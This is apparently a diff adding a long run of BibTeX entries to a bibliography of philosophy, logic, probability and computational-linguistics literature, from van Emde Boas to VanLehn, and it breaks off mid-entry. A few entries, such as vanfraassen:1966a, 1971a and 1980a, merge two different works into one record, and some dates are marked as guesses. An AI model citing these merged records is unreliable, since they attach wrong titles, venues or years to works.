+@techreport{ vanemdeboas-etal:1986a, + author = {Peter {van emde Boas}}, + title = {A Semantical Model for Integration and Modularization of + Rules}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP-86-02}, + year = {1986}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {proof-theory;databases;} + } + +@article{ vaneynde:1998a, + author = {Frank {van Eynde}}, + title = {Review of {\em Compositional Translation}, + by {M}.{T}. {R}osetta}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {107--110}, + topic = {machine-translation;} + } + +@article{ vaneynde:1998b, + author = {Frank van Eynde}, + title = {Review of {\it Machine Translation and Translation + Theory}, edited by {C}rista {H}auenschld and + {S}usanne {H}eizmann}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {516--519}, + xref = {Review of: hauenschld-heizmann:1997a.}, + topic = {machine-translation;} + } + +@book{ vaneynde-gibbon:2000a, + editor = {Frank {Van Eynde} and Daffyd Gibbon}, + title = {Lexicon Development for Speech and Language Processing}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0-7923-6868-X}, + xref = {Review: brew:2001a.}, + topic = {computational-lexicography;} + } + +@article{ vanfraassen:1966a, + author = {Bas C. {Van Fraassen}}, + title = {Singular Terms, Truth-Value Gaps and Free Logic}, + journal = {Journal of Philosophy}, + year = {1966}, + volume = {3}, + pages = {481--495}, + missinginfo = {number}, + title = {The Completeness of Free Logic}, + journal = {Zeitschrift f\"ur {M}athematische {L}ogik und + {G}rundlagen der {M}athematik}, + year = {1966}, + volume = {12}, + pages = {219--234}, + topic = {reference-gaps;} + } + +@article{ vanfraassen:1967a, + author = {Bas C. {van Fraassen}}, + title = {Meaning Relations among Predicates}, + journal = {No\^us}, + year = {1967}, + volume = {1}, + number = {2}, + pages = {161--170}, + topic = {relevance-logic;} + } + +@article{ vanfraassen:1967b, + author = {Bas C. {van Fraassen}}, + title = {On Free Description Theory}, + journal = {Zeitschrift f\"ur {M}athematische {L}ogik und + {G}rundlagen der {M}athematik}, + year = {1967}, + volume = {13}, + pages = {225--240}, + topic = {definite-descriptions;reference-gaps;} + } + +@article{ vanfraassen:1969a, + author = {Bas C. {van Fraassen}}, + title = {Facts and Tautological Entailments}, + journal = {The Journal of Philosophy}, + year = {1969}, + volume = {66}, + number = {15}, + pages = {477--487}, + topic = {relevance-logic;facts;} + } + +@book{ vanfraassen:1971a, + author = {Bas C. {van Fraassen}}, + title = {Formal Semantics and Logic}, + year = {1971}, + publisher = {The MacMillan Company}, + address = {New York}, + title = {The Logic of Conditional Obligation}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {3--4}, + pages = {417--438}, + topic = {deontic-logic;} + } + +@unpublished{ vanfraassen:1972b, + author = {Bas C. {van Fraassen}}, + title = {Theories and Counterfactuals}, + year = {1972}, + note = {Unpublished manuscript, University of Toronto.}, + missinginfo = {Date is a guess.}, + topic = {conditionals;philosophy-of-science;} + } + +@unpublished{ vanfraassen:1972c, + author = {Bas C. {van Fraassen}}, + title = {Letter to {A}rthure {F}ine about `{P}robability + and the Logic of Conditionals'\, } , + year = {1972}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {quantum-logic;foundations-of-quantum-mechanics;} + } + +@incollection{ vanfraassen:1972d, + author = {Bas C. van Fraassen}, + title = {Inference and Self-Reference}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {695--708}, + address = {Dordrecht}, + topic = {context;pragmatics;} + } + +@incollection{ vanfraassen:1972e, + author = {Bas C. van Fraassen}, + title = {A Formal Approach to the Philosophy of Science}, + booktitle = {Paradigms and Paradoxes: The Philosophical Challenge + of the Quantum Domain}, + publisher = {University of Pittsburgh Press}, + year = {1972}, + editor = {Robert G. Colodny}, + pages = {303--365}, + address = {Pittsburgh}, + topic = {philosophy-of-science;foundations-of-quantum-mechanics;} + } + +@article{ vanfraassen:1973a, + author = {Bas C. {van Fraassen}}, + title = {Values and the Heart's Command}, + journal = {Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {1}, + pages = {5--19}, + month = {January 11}, + topic = {deontic-logic;moral-conflict;} + } + +@unpublished{ vanfraassen:1973b, + author = {Bas C. {van Fraassen}}, + title = {The Axiological Ought}, + year = {1973}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {deontic-logic;} + } + +@unpublished{ vanfraassen:1973c, + author = {Bas C. {van Fraassen}}, + title = {Construcion on {P}opper Probability Functions}, + year = {1973}, + note = {Unpublished manuscript, University of Toronto.}, + missinginfo = {Date is a guess.}, + topic = {primitive-conditional-probability;} + } + +@unpublished{ vanfraassen:1973d, + author = {Bas C. {van Fraassen}}, + title = {The {E}instein-{P}odolsky-{R}osen Problem}, + year = {1973}, + note = {Unpublished manuscript, University of Toronto. Marked + ``Draft (Part I Only)''.}, + missinginfo = {Date is a guess.}, + topic = {foundations-of-quantum-mechanics;} + } + +@article{ vanfraassen:1974a, + author = {Bas C. {van Fraassen}}, + title = {Hidden Variables in Conditional Logic}, + journal = {Theoria}, + year = {1974}, + volume = {40}, + number = {3}, + pages = {176--190}, + topic = {conditionals;supervaluations;quantum-logic;} + } + +@unpublished{ vanfraassen:1975a, + author = {Bas C. {van Fraassen}}, + title = {Representation of {P}opper Conditional Probabilities}, + year = {1975}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {primitive-conditional-probability;} + } + +@unpublished{ vanfraassen:1975b, + author = {Bas C. {van Fraassen}}, + title = {Strange Tales of Explanation}, + year = {1975}, + note = {Unpublished manuscript, University of Toronto.}, + missinginfo = {Year is a wild guess.}, + topic = {explanation;} + } + +@unpublished{ vanfraassen:1975c, + author = {Bas C. {van Fraassen}}, + title = {To Save the Phenomena}, + year = {1975}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {philosophy-of-science;evidence;} + } + +@article{ vanfraassen:1976a, + author = {Bas C. {van Fraassen}}, + title = {Representation of Conditional Probabilities}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {417--430}, + topic = {primitive-conditional-probability;} + } + +@unpublished{ vanfraassen:1976b, + author = {Bas C. {van Fraassen}}, + title = {Notes on Probabilities of Conditionals {II}}, + year = {1976}, + note = {Unpublished manuscript, Princeton University.}, + topic = {conditionals;probability;} + } + +@unpublished{ vanfraassen:1976c, + author = {Bas C. {van Fraassen}}, + title = {Notes on Probabilities of Conditionals {III}}, + year = {1976}, + note = {Unpublished manuscript, Princeton University.}, + topic = {conditionals;probability;} + } + +@article{ vanfraassen:1977a, + author = {Bas C. {van Fraassen}}, + title = {Erratum}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + pages = {365}, + missinginfo = {number}, + note = {Erratum to \cite{vanfraassen:1976a}.}, + topic = {primitive-conditional-probability;} + } + +@unpublished{ vanfraassen:1977b, + author = {Bas C. {van Fraassen}}, + title = {Modelling the Ideal Epistemic Agent}, + year = {1977}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {primitive-conditional-probability;probabilistic-semantics; + epistemic-semantics;} + } + +@article{ vanfraassen:1977c, + author = {Bas C. {van Fraassen}}, + title = {The Pragmatics of Explanation}, + journal = {American Philosophical Quarterly}, + year = {1977}, + volume = {14}, + number = {2}, + pages = {143--150}, + topic = {explanation;} + } + +@unpublished{ vanfraassen:1978a, + author = {Bas C. {van Fraassen}}, + title = {Belief and Context}, + year = {1977}, + note = {Unpublished manuscript, Princeton University.}, + topic = {propositional-attitudes;context;} + } + +@unpublished{ vanfraassen:1978b, + author = {Bas C. {van Fraassen}}, + title = {A Small Defense of {J}effrey Conditionalization + against {L}evi}, + year = {1977}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {probability-kinematics;} + } + +@unpublished{ vanfraassen:1979a, + author = {Bas C. {van Fraassen}}, + title = {A Re-examination of {A}ristotle's Philosophy of + Science}, + year = {1979}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {Aristotle;philosophy-of-science;} + } + +@unpublished{ vanfraassen:1979b, + author = {Bas C. {van Fraassen}}, + title = {Conditionalization: Trivial or False?}, + year = {1979}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {probability-kinematics;} + } + +@unpublished{ vanfraassen:1979c, + author = {Bas C. {van Fraassen}}, + title = {Perception: {C}arneades and {A}ugustine}, + year = {1979}, + note = {Unpublished manuscript, University of Toronto.}, + missinginfo = {Date is a guess.}, + topic = {probability-kinematics;} + } + +@incollection{ vanfraassen:1980a, + author = {Bas C. {Van Fraassen}}, + title = {A Temporal Framework for Conditionals and Chance}, + booktitle = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1980}, + editor = {William L. Harper and Glenn Pearce and Robert Stalnaker}, + pages = {323--340}, + address = {Dordrecht}, + title = {The Scientific Image}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1980}, + topic = {philosophy-of-science;} + } + +@article{ vanfraassen:1981a, + author = {Bas C. {van Fraassen}}, + title = {Probabilistic Semantics Objectified: {I}. Postulates and + Logics}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {371--394}, + topic = {probability-semantics;epistemic-semantics;} + } + +@article{ vanfraassen:1981b, + author = {Bas C. {van Fraassen}}, + title = {Probabilistic Semantics Objectified: {II}. Implication in + Probabilistic Model Sets}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {4}, + pages = {495--510}, + topic = {probability-semantics;epistemic-semantics;} + } + +@article{ vanfraassen:1981c, + author = {Bas C. Van Fraassen}, + title = {A Problem for Relative Information Minimizers + in Probability Kinematics}, + journal = {British Journal for the Philosophy of Science}, + year = {1981}, + volume = {32}, + pages = {375--379}, + missinginfo = {number}, + topic = {probability-kinematics;} + } + +@article{ vanfraassen:1982a, + author = {Bas C. Vanfraassen}, + title = {Epistemic Semantics Defended}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {463--464}, + topic = {epistemic-semantics;} + } + +@article{ vanfraassen:1982b, + author = {Bas C. {van Fraassen}}, + title = {Quantification as an Act of Mind}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {3}, + pages = {343--369}, + topic = {epistemic-semantics;} + } + +@unpublished{ vanfraassen:1982c, + author = {Bas C. {van Fraassen}}, + title = {Gentlemen's Wagers: Relevant Logic and Probability}, + year = {1982}, + note = {Unpublished manuscript, Princeton University.}, + missinginfo = {Year is a guess.}, + topic = {probability-logic;relevance-logic;} + } + +@article{ vanfraassen:1983a, + author = {Bas C. {Van Fraassen}}, + title = {Glenn {S}hafer on Conditional Probability}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {467--470}, + topic = {probability-kinematics;} + } + +@article{ vanfraassen:1984a, + author = {Bas C. {van Fraassen}}, + title = {Belief and the Will}, + journal = {Journal of Philosophy}, + year = {1984}, + volume = {81}, + pages = {235--256}, + contentnote = {This is the diachronic Dutch Book paper.}, + missinginfo = {number}, + topic = {epistemic-kinematics;probability-kinematics;will-to-believe; + belief;volition;} + } + +@article{ vanfraassen:1986a, + author = {Bas C. {van Fraassen}}, + title = {A Demonstration of the {J}effrey Conditionalization Rule}, + journal = {Erkenntnis}, + year = {1986}, + volume = {24}, + pages = {17--24}, + missinginfo = {number}, + topic = {conditionalization;probability;probability-kinematics;} + } + +@article{ vanfraassen-etal:1986a, + author = {Bas C. {van Fraassen} and R.I.G. Hughes and Glibert Harman}, + title = {A Problem for Relative Information Minimizers in + Probability Kinematics, Continued}, + journal = {British Journal for the Philosophy of Science}, + year = {1986}, + volume = {37}, + pages = {453--475}, + missinginfo = {number}, + topic = {probability-kinematics;} + } + +@incollection{ vanfraassen:1988a, + author = {Bas C. van Fraassen}, + title = {The Peculiar Effects of Love and Desire}, + booktitle = {Perspectives on Self-Deception}, + publisher = {University of California Press}, + year = {1988}, + editor = {Am\'elie Rorty and Brian McLaughlin}, + pages = {123--156}, + address = {Berkeley, California}, + topic = {self-deception;emotion;} + } + +@book{ vanfraassen:1989a, + author = {Bas C. {van Fraassen}}, + title = {Laws and Symmetry}, + year = {1989}, + publisher = {Oxford University Press}, + address = {Oxford}, + xref = {Review: morton_a:1993a.}, + topic = {natural-laws;philosophy-of-science;philosophy-of-physics;} + } + +@incollection{ vanfraassen:1991a, + author = {Bas C. {van Fraassen}}, + title = {Time in Physical and Narrative Structure}, + booktitle = {Chronotypes: The Construction of Time}, + publisher = {Stanford University Press}, + year = {1991}, + editor = {J.Bender and D. E. Wellbery}, + pages = {19--37}, + address = {Stanford, California}, + topic = {narratives;philosophy-of-literature;discourse;pragmatics;} + } + +@article{ vanfraassen:1995a, + author = {Bas C. {van Fraassen}}, + title = {Belief and the Problem of {U}lysses and the Sirens}, + journal = {Philosophical Studies}, + year = {1995}, + volume = {77}, + pages = {7--37}, + missinginfo = {number}, + topic = {philosophy-of-belief;will-to-believe;belief;rationality;} + } + +@article{ vanfraassen:1995b, + author = {Bas C. {van Fraassen}}, + title = {Fine-Grained Opinion, Probability, and the Logic of Full + Belief}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {4}, + pages = {349--377}, + topic = {probability;epistemic-logic;belief;} + } + +@article{ vanfraassen:1995c, + author = {Bas C. {van Fraassen}}, + title = {`{W}orld' is not a Count Noun}, + journal = {No\^us}, + year = {1995}, + volume = {29}, + pages = {139--157}, + missinginfo = {number}, + topic = {foundations-of-modal-logic;philosophy-of-possible-worlds;} + } + +@incollection{ vanfraassen:1997a, + author = {Bas C. {van Fraassen}}, + title = {Putnam's Paradox: Metaphysical Realism + Revamped and Evaded}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {17--42}, + address = {Oxford}, + topic = {philosophical-realism;} + } + +@article{ vanfraassen:1997b, + author = {Bas C. {van Fraassen}}, + title = {Elgin on {L}ewis' {P}utnam's Paradox}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {2}, + pages = {85--93}, + topic = {realism;truth;} + } + +@unpublished{ vanfraassen:2002a, + author = {Bas C. van Fraassen}, + title = {Tensed Language with SUbjective Probability}, + year = {2002}, + note = {Unpublished manuscript, Princeton University.}, + topic = {tense-logic;epistemic-logic;probability;} + } + +@article{ vangelder_a-etal:1991a, + author = {Allen {van Gelder} and Kenneth A. Ross and John S. Schilpf}, + title = {The Well-Founded Semantics for General Logic Programs}, + journal = {Journal of the {ACM}}, + year = {1991}, + volume = {38}, + number = {3}, + pages = {620--662}, + contentnote = {This paper introduces the well founded partial model + semantics for logic programs.}, + topic = {logic-programming;well-founded-semantics;} + } + +@article{ vangelder_t:1995a, + author = {Timothy {van Gelder}}, + title = {What Might Cognition Be, if not Computation?}, + journal = {Journal of Philosophy}, + year = {1995}, + volume = {91}, + number = {7}, + pages = {345--381}, + topic = {foundations-of-cognition;} + } + +@unpublished{ vangelder_t:1997a, + author = {Timothy {van Gelder}}, + title = {The Dynamical Hypothesis in Cognitive Science}, + year = {1997}, + note = {Unpublished manuscript, University of Melbourne.}, + topic = {dynamic-systems;foundations-of-cognition;} + } + +@inproceedings{ vangenabith-crouch:1997a, + author = {Josef {Van Genabith} and Richard Crouch}, + title = {On Interpreting {F}-Structures as {UDRs}s}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {402--409}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {semantic-underspecification;LFG;} + } + +@incollection{ vangulick:1993a, + author = {Robert {van Gulick}}, + title = {Who's in Charge Here? And Who's + Doing All the Work?}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {233--256}, + address = {Oxford}, + topic = {mind-body-problem;explanation;} + } + +@inproceedings{ vanhalteren-etal:1998a, + author = {Hans {van Halteren} and Jakub Zavrel and Walter Daelemans}, + title = {Improving Data Driven Wordclass Tagging by System + Combination}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {491--497}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {part-of-speech-tagging;machine-learning;} +} + +@book{ vanhalteren:1999a, + editor = {Hans {van Halteren}}, + title = {Syntactic Wordclass Tagging}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {079235896-1}, + xref = {Review: ratnaparkhi:2000a.}, + topic = {part-of-speech-tagging;} + } + +@incollection{ vanhalterin:2000a, + author = {Hans van Halterin}, + title = {Chunking with {WPDV} Models}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {154--156}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@article{ vanhalterin-etal:2001a, + author = {Hans van Halterin and Jakub Zavrel and Walter Daelemans}, + title = {Improving Accuracy in Word Class Tagging through the + Combination of Machine Learning Systems}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {199--229}, + topic = {machine-learning;part-of-speech-tagging;} + } + +@article{ vanharmelen-bundy:1988a, + author = {Frank van Harmelen and Alan Bundy}, + title = {Explanation-Based Generalisation=Partial Evaluation}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {3}, + pages = {401--412}, + acontentnote = {Abstract: + We argue that explanation-based generalisation as recently + proposed in the machine learning literature is essentially + equivalent to partial evaluation, a well-known technique in the + functional and logic programming literature. We show this + equivalence by analysing the definitions and underlying + algorithms of both techniques, and by giving a PROLOG program + which can be interpreted as doing either explanation-based + generalisation or partial evaluation. } , + topic = {machine-learning;explanation-based-learning;logic-programming;} + } + +@incollection{ vanharmelen:1994a, + author = {Frank van Harmelen}, + title = {A Model of Costs and Benefits of + Meta-Level Computation}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {248--261}, + address = {Berlin}, + topic = {metaprogramming;} + } + +@book{ vanheijenoort:1967a, + editor = {Jan {van Heijenoort}}, + title = {From {F}rege to {G}\"odel}, + publisher = {Harvard University Press}, + year = {1967}, + address = {Cambridge, Massachusetts}, + topic = {Frege;Goedel;history-of-logic;logic-classics;} + } + +@article{ vanheijenoort:1977a, + author = {Jan {van Heijenoort}}, + title = {Sense in {F}rege}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {1}, + pages = {93--102}, + topic = {Frege;sense-reference;} + } + +@article{ vanheijenoort:1977b, + author = {Jan {van Heijenoort}}, + title = {Frege on Sense Identity}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {1}, + pages = {103--108}, + topic = {Frege;sense-reference;} + } + +@article{ vanhentenryck-etal:1992a, + author = {Pascal {Van Hentenryck} and Helmut Simonis and Mehmet Dincbas}, + title = {Constraint Satisfaction Using Constraint Logic + Programming}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {58}, + number = {1--3}, + pages = {113--159}, + topic = {constraint-logic-programming;constraint-satisfaction;} + } + +@article{ vanhentenryck-etal:1992b, + author = {Pascal {Van Hentenryck} and Yves Deville and Choh-Man Teng}, + title = {A Generic Arc-Consistency Algorithm and Its + Specializations}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {2--3}, + pages = {291--321}, + acontentnote = {Abstract: + Consistency techniques have been studied extensively in the past + as a way of tackling constraint satisfaction problems (CSP). In + particular, various arc-consistency algorithms have been + proposed, originating from Waltz's filtering algorithm [27] and + culminating in the optimal algorithm AC-4 of Mohr and Henderson + [16]. AC-4 runs in O(ed2) in the worst case, where e is the + number of arcs (or constraints) and d is the size of the largest + domain. Being applicable to the whole class of (binary) CSP, + these algorithms do not take into account the semantics of + constraints. + In this paper, we present a new generic arc-consistency + algorithm AC-5. This algorithm is parametrized on two specified + procedures and can be instantiated to reduce to AC-3 and AC-4. + More important, AC-5 can be instantiated to produce an O(ed) + algorithm for a number of important classes of constraints: + functional, anti-functional, monotonic, and their generalization + to (functional, anti-functional, and monotonic) piecewise + constraints. + We also show that AC-5 has an important application in + constraint logic programming over finite domains [24]. The + kernel of the constraint solver for such a programming language + is an arc-consistency algorithm for a set of basic constraints. + We prove that AC-5, in conjunction with node consistency, + provides a decision procedure for these constraints running in + time O(ed). } , + topic = {constraint-logic-programming;arc-(in)consistency;} + } + +@article{ vanhentenryck:1998a, + author = {Pascal van Hentenryck}, + title = {A Gentle Introduction to {NUMERICA}}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {209--235}, + acontentnote = {Abstract: + NUMERICA is a modeling language for stating and solving global + optimization problems. It makers it possible to express these + problems in a notation close to the way these problems are + stated in textbooks or scientific papers. In addition, the + constraint-solving algorithm of NUMERICA, which combines + techniques from numerical analysis and artificial intelligence, + provides many guarantees about correctness, convergence, and + completeness. + This paper is a gentle introduction to NUMERICA. It highlights + some of the main difficulties of global optimization and + illustrates the functionality of NUMERICA by contrasting it to + traditional methods. It also presents the essence of the + constraint-solving algorithm of NUMERICA in a novel, high-level, + way. } , + topic = {optimization;} + } + +@inproceedings{ vanhentenryck:1999a, + author = {Pascal {Van Hentenryck}}, + title = {Constraint Programming Languages (Abstract)}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {constraint-programming;} + } + +@article{ vaninwagen:1974a, + author = {Peter {van Inwagen}}, + title = {A Formal Approach to the Problem of Free Will and + Determinism}, + journal = {Theoria}, + volume = {40}, + year = {1974}, + pages = {9--22}, + topic = {(in)determinism;} + } + +@article{ vaninwagen:1977a, + author = {Peter {van Inwagen}}, + title = {Reply to {N}arveson}, + journal = {Philosophical Studies}, + volume = {32}, + year = {1977}, + pages = {89--98}, + topic = {causality;(in)determinism;} + } + +@article{ vaninwagen:1977b, + author = {Peter {van Inwagen}}, + title = {Reply to {G}allois}, + journal = {Philosophical Studies}, + volume = {32}, + year = {1977}, + pages = {107--111}, + topic = {causality;(in)determinism;} + } + +@article{ vaninwagen:1978a, + author = {Peter {van Inwagen}}, + title = {Ability and Responsibility}, + journal = {Philosophical Review}, + volume = {87}, + year = {1978}, + pages = {201--224}, + topic = {ability;blameworthiness;} + } + +@article{ vaninwagen:1981a, + author = {Peter van Inwagen}, + title = {Why {I} Don't Understand Substitutional Quantification}, + journal = {Philosophical Studies}, + year = {1981}, + volume = {39}, + pages = {281--285}, + missinginfo = {number}, + topic = {substitutional-quantification;} + } + +@incollection{ vaninwagen:1989a, + author = {Peter van Inwagen}, + title = {When is the Will Free?}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {399--422}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {freedom;volition;} + } + +@incollection{ vaninwagen:1994a, + author = {Peter van Inwagen}, + title = {Composition as Identity}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {207--220}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {mereology;philosophical-ontology; + semantics-of-mass-terms;individuation;} + } + +@book{ vaninwagen:1997a, + author = {Peter {van Inwagen}}, + title = {An Essay on Free Will}, + publisher = {Oxford}, + year = {1997}, + address = {Oxford, England}, + topic = {freedom;volition;} + } + +@incollection{ vaninwagen:1997b, + author = {Peter {van Inwagen}}, + title = {Materialism and the Psychological-Continuity Account of + Personal Identity}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {305--348}, + address = {Oxford}, + topic = {personal-identity;} + } + +@incollection{ vaninwagen:2000a, + author = {Peter van Inwagen}, + title = {Free Will Remains a Mystery}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {1--19}, + address = {Oxford}, + topic = {freedom;volition;} + } + +@book{ vankralingen:1995a, + author = {R.W. van Kralingen}, + year = {1995}, + title = {Frame-based Conceptual Models of Statute Law}, + publisher = {Computer/Law Series, Kluwer Law International}, + address = {The Hague}, + topic = {legal-AI;} + } + +@article{ vankuppevelt:1996a, + author = {Jan {van Kuppevelt}}, + title = {Inferring from Topics: Scalar Implicatures as + Topic-Dependent Inferences}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {4}, + pages = {393--443}, + topic = {implicature;scalar-implicature;d-topic;s-topic;pragmatics;} + } + +@inproceedings{ vankuppevelt:1997a, + author = {Jan {van Kuppevelt}}, + title = {Context and Inference in Topical Structure Theory}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {176--185}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;} + } + +@article{ vanlambalgen:2000a, + author = {Michiel van Lambalgen}, + title = {Editorial: An Invitation to Cognitive Science}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {145--146}, + topic = {cognitive-science-editorial;} + } + +@book{ vanleeuven:1990a, + editor = {Jan {van Leeuven}}, + title = {Handbook of Theoretical Computer Science: Algorithms and + Complexity}, + publisher = {The {MIT} Press}, + year = {1990}, + volume = {A}, + address = {Cambridge, Massachusetts}, + topic = {algorithms;algorithmic-complexity;} + } + +@book{ vanleeuven:1990b, + editor = {Jan {van Leeuven}}, + title = {Handbook of Theoretical Computer Science: Formal Models + and Semantics}, + publisher = {The {MIT} Press}, + year = {1990}, + volume = {B}, + address = {Cambridge, Massachusetts}, + topic = {semantics-of-programming-languages;} + } + +@techreport{ vanleeuwen:1993a, + author = {Jacques {van Leeuwen}}, + title = {Identity: Quarrelling with an Unproblematic Notion}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--93--04}, + year = {1993}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {identity;} + } + +@techreport{ vanlehn:1978a, + author = {Kurt VanLehn}, + title = {Determining the Scope of {E}nglish Quantifiers}, + institution = {Massachusetts Institute of Technology Artificial + Intelligence Laboratory}, + number = {AI-TR-483}, + year = {1978}, + address = {Cambridge, Massachusetts}, + topic = {nl-interpretation;quantifiers;} + } + +@article{ vanlehn:1985a, + author = {Kurt VanLehn}, + title = {Review of {\it Machine Learning: An Artificial + Intelligence Approach } , by {R}.{S}. {M}ichalski, {J}.{G}. + {C}arbonell and {T}.{M}. {M}itchell}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {2}, + pages = {233--236}, + xref = {Review of michalski-etal:1983a.}, + topic = {machine-learning;} + } + +@article{ vanlehn:1986a, + author = {Kurt VanLehn}, + title = {Review of {\it The Architecture of Cognition}, by {J}ohn {R}. + {A}nderson}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {2}, + pages = {235--240}, + xref = {Review of anderson:1983a.}, + topic = {cognitive-architectures;foundations-of-cognitive-science; + cognitive-psychology;} + } + +@article{ vanlehn:1987a, + author = {Kurt VanLehn}, + title = {Learning One Subprocedure Per Lesson}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {1}, + pages = {1--40}, + acontentnote = {Abstract: + SIERRA is a program that learns procedures incrementally from + examples, where an example is a sequence of actions. SIERRA + learns by completing explanations. Whenever the current + procedure is inadequate for explaining (parsing) the current + example, SIERRA formulates a new subprocedure whose + instantiation completes the explanation (parse tree). The key to + SIERRA's success lies in supplying a small amount of extra + information with the examples. Instead of giving it a set of + examples, under which conditions correct learning is provably + impossible, it is given a sequence of ``lessons'', where a + lesson is a set of examples that is guaranteed to introduce only + one subprocedure. This permits unbiased learning, i.e., learning + without a priori, heuristic preferences concerning the outcome. } , + topic = {case-based-reasoning;machine-learning;} + } + +@incollection{ vanlehn:1989a, + author = {Kurt VanLehn}, + title = {Problem Solving and Cognitive Skill Acquisition}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {14}, + pages = {527--579}, + address = {Cambridge, Massachusetts}, + topic = {problem-solving;expertise;skill-acquisition;} + } + +@unpublished{ vanlehn:1992a, 